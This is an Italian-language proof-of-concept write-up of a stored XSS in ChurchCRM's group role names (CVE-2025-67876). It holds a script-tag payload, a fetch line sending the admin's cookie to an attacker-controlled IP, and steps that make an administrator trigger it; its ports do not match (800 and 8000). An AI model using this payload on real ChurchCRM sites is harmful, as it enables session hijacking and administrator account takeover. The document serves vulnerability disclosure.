
Dimostrazione proof-of-concept dettagliata di CVE-2025-67876 che mostra una XSS persistente nei nomi dei ruoli dei gruppi in ChurchCRM, che porta al dirottamento della sessione dell'amministratore, con guida completa allo sfruttamento e raccomandazioni di rimedio.
| Campo | Dettagli |
|---|
| CVE ID | CVE-2025-67876 |
| Gravità | CRITICA |
| Advisory | Visualizza l'advisory |
| Scoperto da | Lukasz Rybak |
Esiste una vulnerabilità di cross-site scripting (XSS) persistente in ChurchCRM che consente a un utente con privilegi limitati e con il permesso “Manage Groups” di iniettare JavaScript persistente nei nomi dei ruoli dei gruppi. Il payload viene salvato nel database ed eseguito ogni volta che un utente (inclusi gli amministratori) visualizza una pagina che mostra quel ruolo, come GroupView.php o PersonView.php. Ciò consente il dirottamento completo della sessione e la compromissione dell'account.
La causa principale è la mancanza di validazione dell'input e di codifica dell'output nella gestione dei nomi dei ruoli dei gruppi.
Quando si modifica un gruppo in GroupEditor.php, l'utente può modificare i nomi dei ruoli. L'applicazione non igienizza l'input (ad es. niente strip_tags, htmlspecialchars o validazione lato server). Il valore viene memorizzato nella tabella del database list_lst.
Successivamente, il valore memorizzato viene iniettato direttamente nell'HTML senza escaping:
Un utente con privilegi limitati (con Manage Groups) può quindi aumentare i propri privilegi fino a diventare amministratore completo iniettando JavaScript in un ruolo e assegnando quel ruolo a un admin.
Crea x.js sulla macchina controllata dall'attaccante:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
Servi il file:
python3 -m http.server 800
Accedi come utente con il permesso Manage Groups.
Vai su: Groups → List Groups → seleziona un gruppo → Settings.
Nella sezione “Group Roles”, modifica un ruolo esistente o creane uno nuovo.
Inserisci il payload malevolo:
"><script src=//172.20.0.1:800/x.js></script>

Nell'elenco Group Roles, fai clic su Default accanto al ruolo che contiene il payload XSS iniettato.
In questo modo il ruolo malevolo verrà assegnato automaticamente a qualsiasi utente aggiunto al gruppo, aumentando la probabilità che un amministratore inneschi la XSS quando visualizza il proprio profilo.
Fai clic su Delete accanto al precedente ruolo predefinito, di solito "Member".
La rimozione del ruolo predefinito pulito costringe il sistema a utilizzare il ruolo con la XSS iniettata per tutte le assegnazioni future, garantendo l'esecuzione quando la vittima visualizza qualsiasi pagina che mostra il ruolo assegnato.

Vai alla pagina Group View.
Aggiungi un utente come membro del gruppo (ad es. Church Admin).
Seleziona il ruolo malevolo dal menu a tendina.
Salva l'assegnazione.
Quando la vittima (admin) visita:
Il proprio profilo utente: PersonView.php
La pagina di visualizzazione del gruppo: GroupView.php
Il JavaScript memorizzato viene eseguito immediatamente.
Sul server dell'attaccante appariranno le richieste in arrivo:


Questo conferma l'avvenuta compromissione dell'account.
CWE-79: Neutralizzazione impropria dell'input durante la generazione della pagina web (‘Cross-site Scripting’)
Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite hanno esclusivamente finalità educative e difensive.